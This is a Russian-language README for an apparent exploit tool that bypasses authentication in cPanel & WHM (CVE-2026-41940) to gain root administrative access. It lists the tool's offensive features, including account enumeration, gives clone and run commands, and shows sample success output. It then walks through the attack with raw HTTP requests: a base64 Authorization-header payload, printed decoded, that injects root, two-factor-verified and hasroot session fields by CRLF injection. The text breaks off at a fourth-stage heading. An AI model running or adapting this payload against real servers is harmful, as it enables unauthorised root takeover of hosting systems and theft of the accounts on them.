CVE-2026-41940 - Эксплойт обхода аутентификации cPanel & WHM

---

CVE-2026-41940 — это критическая уязвимость обхода аутентификации в cPanel & WHM, которая позволяет неаутентифицированным удалённым злоумышленникам получить административный доступ уровня root к серверу. Уязвимость присутствует в обработке сессий демона cpsrvd, а именно в Cpanel/Session.pm, где некорректная нейтрализация разделителей строк (CRLF) в cookie whostmgrsession и заголовках Authorization позволяет внедрять параметры сессии.

---

Этот инструмент эксплойта предоставляет следующие ключевые возможности:

• 🔓 Обход аутентификации - получение root-доступа к WHM без учётных данных

• 🛡️ Множественные техники обхода - автоматический перебор различных методов проверки

• 🌐 Поддержка прокси - маршрутизация трафика через HTTP/HTTPS-прокси

• 📊 JSON-отчёты - создание подробных отчётов об оценке

• 📝 Подробное логирование - расширенный режим отладки с метками времени

• 🔍 Определение версии - автоматическое обнаружение и проверка уязвимых версий

• 👥 Перечисление учётных записей - вывод всех учётных записей cPanel после эксплуатации

• 🎯 Несколько конечных точек - перебор различных API-эндпоинтов для проверки

---

Атрибут	Значение
CVE ID	CVE-2026-41940
Оценка CVSS	9.8 (критическая)
Тип уязвимости	Обход аутентификации через CRLF-инъекцию
Затронутый компонент	демон cpsrvd (Cpanel/Session.pm)
Вектор атаки	Сеть
Воздействие	Полный доступ root
Эксплуатация	Удалённо, без аутентификации

🔬 Технический анализ

Уязвимость обусловлена двумя основными проблемами:

1. CRLF-инъекция в хранилище сессий - функция saveSession не очищает символы новой строки (\n) в поле pass перед записью в файл сессии, что позволяет внедрять произвольные параметры сессии.

2. Условный обход кодирования - когда в cookie сессии отсутствует часть ob (сегмент после запятой), значение pass записывается без кодирования (открытым текстом), что позволяет внедрять CRLF-последовательности.

🎯 Уязвимые версии

Канал релиза	Уязвима до	Исправленная версия
11.110.x	11.110.0.96	11.110.0.97
11.118.x	11.118.0.62	11.118.0.63
11.126.x	11.126.0.53	11.126.0.54
11.132.x	11.132.0.28	11.132.0.29
11.134.x	11.134.0.19	11.134.0.20
11.136.x	11.136.0.4	11.136.0.5

---

Предварительные требования

# Python 3.6 or higher required
python3 --version

# Install required packages
pip install -r requirements.txt

Файл зависимостей

requests>=2.28.0
urllib3>=1.26.0

Клонирование репозитория

git clone https://github.com/CerberusMrXi/cPanel-WHM-CVE-2026-41940-auth-bypass-exploit.git
cd cPanel-WHM-CVE-2026-41940-auth-bypass-exploit

---

Базовое использование

python3 exploit.py --target https://target.com:2087

Расширенное использование

# Verbose mode with debug output
python3 exploit.py --target https://target.com:2087 --verbose

# Through proxy
python3 exploit.py --target https://target.com:2087 --proxy http://127.0.0.1:8080

# Save report and list accounts
python3 exploit.py --target https://target.com:2087 --output report.json --list-accounts

# Custom timeout
python3 exploit.py --target https://target.com:2087 --timeout 30

Пример вывода

=======================================================
 CVE-2026-41940 - cPanel/WHM Authentication Bypass
 Critical CRLF Injection in cpsrvd (CVSS: 9.8 )
 Exploit Version: 1.0
=======================================================
 Target      : https://target.com:2087
 Started     : 2026-07-26 22:23:18
=======================================================
2026-07-26 22:23:18 [INFO] Detecting cPanel/WHM version...
2026-07-26 22:23:19 [INFO] Version: 11.110.0.85 - Vulnerable
2026-07-26 22:23:19 [INFO] Attempting to mint pre-authentication session...
2026-07-26 22:23:20 [INFO] Pre-authentication session obtained successfully
2026-07-26 22:23:20 [INFO] Injecting CRLF payload via Authorization header...
2026-07-26 22:23:21 [INFO] Token leaked: /cpsess1234567890
2026-07-26 22:23:21 [INFO] Verifying root access with multiple bypass techniques...
2026-07-26 22:23:25 [INFO] Access verified with URL format: /cpsess-{token}

=======================================================
 EXPLOIT SUCCESSFUL
=======================================================
 Target              : https://target.com:2087
 Token               : /cpsess1234567890
 Admin URL           : https://target.com:2087/cpsess1234567890/
 Version             : 11.110.0.85
 Verification Method : url_format
 Completed           : 2026-07-26 22:23:25
=======================================================

[!] Access WHM with the token above
[!] Use the token in all subsequent requests
[!] Example: curl -k "https://target.com:2087/cpsess1234567890/json-api/version?api.version=1"
=======================================================

---

Аргумент	Короткая форма	Обязателен	Описание
--target	-t	✅	URL цели (например, https://target.com:2087 )
--verbose	-v	❌	Включить подробный/отладочный вывод
--proxy	-p	❌	URL прокси (например, http://127.0.0.1:8080 )
--output	-o	❌	Выходной файл для JSON-отчёта
--timeout		❌	Тайм-аут запроса в секундах (по умолчанию: 10)
--list-accounts	-l	❌	Вывести список учётных записей cPanel после успешной эксплуатации
--version		❌	Показать версию эксплойта

---

Этап 1: Создание предварительной сессии

Сначала эксплойт получает cookie предварительной сессии, выполняя неудачную попытку входа:

POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded

user=root&pass=wrong_pass

Ответ:

Set-Cookie: whostmgrsession=base64_encoded_data

Этап 2: CRLF-инъекция

Специально сформированный заголовок Authorization внедряет вредоносные параметры сессии:

GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[SESSION_BASE]

Декодированная полезная нагрузка:

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

Этап 3: Извлечение токена

Сервер отвечает перенаправлением, содержащим токен административной сессии:

Location: /cpsess1234567890/

Этап 4: Проверка доступа